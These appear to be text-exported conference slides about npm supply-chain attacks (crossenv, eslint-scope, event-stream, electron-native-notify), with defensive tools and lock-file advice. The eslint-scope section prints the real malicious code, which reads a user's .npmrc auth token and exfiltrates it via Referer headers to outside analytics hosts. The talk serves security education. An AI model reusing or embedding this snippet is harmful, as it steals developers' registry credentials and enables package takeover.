ALL YOUR PACKAGES ARE BELONG TO US

Protecting your npm dependencies

@CHRISLAUGHLIN

WHO AM I? 

Lead UI Engineer @Rapid7

 

 

Jack of all trades master of none

Worst hangover I have ever had

@CHRISLAUGHLIN

STORY TIME

@CHRISLAUGHLIN

@CHRISLAUGHLIN

High amazon cpu 

site running slow

third party vuln reports 

strange network ACTIVITY  

@CHRISLAUGHLIN

Roll back to previous build 

Build and run locally 

@CHRISLAUGHLIN

@CHRISLAUGHLIN

@CHRISLAUGHLIN

so what happened?

@CHRISLAUGHLIN

I HAVE A CONFESSION TO MAKE

Incidents

@CHRISLAUGHLIN

CROSSENVS

@CHRISLAUGHLIN

CROSSENVS

When: 

impact: 

aim: 

entry: 

protection: 

August 2nd 2017

Steal env properties

~700 downloads in total (similar attack used on another 40 packages)

Fake packages names that are close to existing packages

  • Check out the package information before installing

  • NPM added name checks

ESLINT-SCOPE

@CHRISLAUGHLIN

ESLINT-SCOPE

When: 

impact: 

aim: 

entry: 

protection: 

July 12th 2018

Steal data from .npmrc files

~10,000,000 weekly downloads

The attacker released a new version of the module which added a install script which fetched code from pastebin. This then sent the npmrc contents to the hackers.

  • Make all contributors enable 2FA

  • Ensure that you lock down package versions and use a package-lock file

try {
  var path = require("path");
  var fs = require("fs");
  var npmrc = path.join(process.env.HOME || process.env.USERPROFILE, ".npmrc");
  var content = "nofile";

  if (fs.existsSync(npmrc)) {
    content = fs.readFileSync(npmrc, { encoding: "utf8" });
    content = content.replace("//registry.npmjs.org/:_authToken=", "").trim();

    var https1 = require("https");
    https1
      .get(
        {
          hostname: "sstatic1.histats.com",
          path: "/0.gif?4103075&101",
          method: "GET",
          headers: { Referer: "http://1.a/" + content }
        },
        () => {}
      )
      .on("error", () => {});
    https1
      .get(
        {
          hostname: "c.statcounter.com",
          path: "/11760461/0/7b5b9d71/1/",
          method: "GET",
          headers: { Referer: "http://2.b/" + content }
        },
        () => {}
      )
      .on("error", () => {});
  }
} catch (e) {}

EVENT-STREAM

@CHRISLAUGHLIN

EVENT-STREAM

When: 

impact: 

aim: 

entry: 

protection: 

November 26th 2018 (unnoticed for 2 months)

Steal Dash Copay Bitcoin wallets

~1,000,000 weekly downloads

Handover of package access

  • Ensure that you lock down package versions and use a package-lock file

  • Rethink how the community manages package ownership?

ELECTRON-NATIVE-NOTIFY

@CHRISLAUGHLIN

ELECTRON-NATIVE-NOTIFY

When: 

impact: 

aim: 

entry: 

protection: 

June 6th 2019

Steal bitcoin wallet data ($13 million USD in cryptocurrency )

~600 weekly downloads

Release new version of trusted dependency

  • Ensure that you lock down package versions and use a package-lock file

tools & workflows

@CHRISLAUGHLIN

npm audit

@CHRISLAUGHLIN

  • Added to npm v6

  • Runs after each npm install

  • All dev, bundled and optional dependencies.

  • Auto fix by running npm audit fix or run the recommended commands

@CHRISLAUGHLIN

@CHRISLAUGHLIN

Snyk.io

  • Cloud based solution

  • Integration with multiple source control solutions

  • On demand or scheduled vulnerability scanning

  • Weekly reports

  • Dashboard  

@CHRISLAUGHLIN

@CHRISLAUGHLIN

github

@CHRISLAUGHLIN

  • Linked to your  github source

  • Growing vuln database

  • Potential integration with new package repository

@CHRISLAUGHLIN

@CHRISLAUGHLIN

conclusion

@CHRISLAUGHLIN

Should we stop using NPM?

NO!

Should we start using lock files ?

Yes!

Should we think twice before using npm packages?

Yes!

@CHRISLAUGHLIN

MooseConf 2019 - All your packages are belong to us

By Chris Laughlin

MooseConf 2019 - All your packages are belong to us

  • 75

More from Chris Laughlin